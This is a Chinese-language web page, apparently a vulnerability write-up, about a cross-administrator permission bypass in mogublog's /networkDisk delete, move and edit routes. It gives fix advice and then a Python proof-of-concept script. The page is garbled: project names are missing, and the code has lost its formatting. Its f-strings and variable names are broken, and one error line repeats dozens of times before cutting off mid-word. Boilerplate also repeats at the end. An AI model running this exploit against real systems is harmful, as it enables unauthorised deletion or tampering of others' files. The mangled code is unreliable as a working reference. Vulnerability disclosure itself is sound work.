mogublog 网络磁盘权限绕过漏洞及 POC

漏洞概述 该漏洞涉及 项目中的 脚本，用于测试网络磁盘的权限控制问题。具体表现为： 漏洞描述：在 项目中，网络磁盘的路由对任何管理员角色（包括 和 ）都开放。 漏洞位置： 和 项目中。 漏洞类型：权限绕过。 影响范围 受影响项目： 和 。 受影响功能：网络磁盘的路由操作，包括删除文件、批量删除文件、移动文件、批量移动文件、编辑文件等。 潜在风险：未经授权的用户可能通过这些路由执行敏感操作，导致数据泄露或破坏。 修复方案 修复建议： - 确保网络磁盘的路由操作仅对具有适当权限的用户开放。 - 在路由处理中增加权限验证逻辑，确保只有授权用户才能执行相关操作。 - 对敏感操作进行日志记录，以便追踪和审计。 POC代码 以下是 脚本的完整代码： ```python #!/usr/bin/env python3 -- coding: utf-8 -- """ mogublog_v2 - W44: the five mutating /networkDisk routes act on any administrator's rows (cross-administrator IDDM) """ import sys import os import json import uuid import urllib3 import requests urllib3.disable_warnings() Configuration DEFAULT_BASE_URL = "http://127.0.0.1:8080" INVALID_TOKEN_CODE = "00008" INVALID_TOKEN_HINT = "token令牌未识别到" Routes ROUTES = { "deleteFile": ("/networkDisk/deleteFile", "delete"), "batchDeleteFile": ("/networkDisk/batchDeleteFile", "delete"), "moveFile": ("/networkDisk/moveFile", "move"), "batchMoveFile": ("/networkDisk/batchMoveFile", "move"), "edit": ("/networkDisk/edit", "edit"), } Canary keys CANARY_KEYS = { "localDir": "mogublog-poc-nonexistent", "diskDir": "mogublog-poc-nonexistent", "minioDir": "mogublog-poc-nonexistent", } Helpers def list_rows(client, file_path): """ POST /networkDisk/getFileList for one path (no admin_uid filter, :09-12). """ status, parsed, text = client.post_json( "/networkDisk/getFileList", {"fileType": 0, "filePath": file_path}, ) rows = data_of(parsed) return status, rows if isinstance(rows, list) else [] def find_row(client, file_path, name, extend=None): """ Find one row by path + name (optionally extension) in the caller's view. """ _status, rows_text = list_rows(client, file_path) for row in rows: if not isinstance(row, dict) or row.get("fileName") != name: continue if extend is None or (row.get("extendName") or None) == extend: return row return None def canary(payload): """ Add harmless storage keys: nothing on disk or object storage is touched. """ row = dict(payload) row.update(CANARY_KEYS) row.setdefault("status", 1) EStatus.ENABLE (SuperEntity.java:50) row.setdefault("filesize", 1) return row def create_row(client, payload, label): """ POST /networkDisk/createFile (victim session) %s % label, status, text, 300 """ status, body, text = client.post_json("/networkDisk/createFile", payload) print(f"POST /networkDisk/createFile (victim session) %s % label, status, text, 300") return is_success(body) def attack(client, route, payload, label): """ POST %s (caller session) %s % (path, label), status, text, 300 """ path = ROUTES[route][0] status, body, text = client.post_json(path, payload) print(f"POST %s (caller session) %s % (path, label), status, text, 300") return status, body, text def session_uid(client, label): """ GET /storage/getStorage -> the caller's own t_storage row (StorageMgmtApi:89-94). """ status, body, text = client.get("/storage/getStorage") print(f"GET /storage/getStorage (%s) -> own adminUid % label, status, text, 250") if (code_of(body) == INVALID_TOKEN_CODE or INVALID_TOKEN_CODE in (text or "")): raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.chec

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

mogublog 网络磁盘权限绕过漏洞及 POC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

mogublog 网络磁盘权限绕过漏洞及 POC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！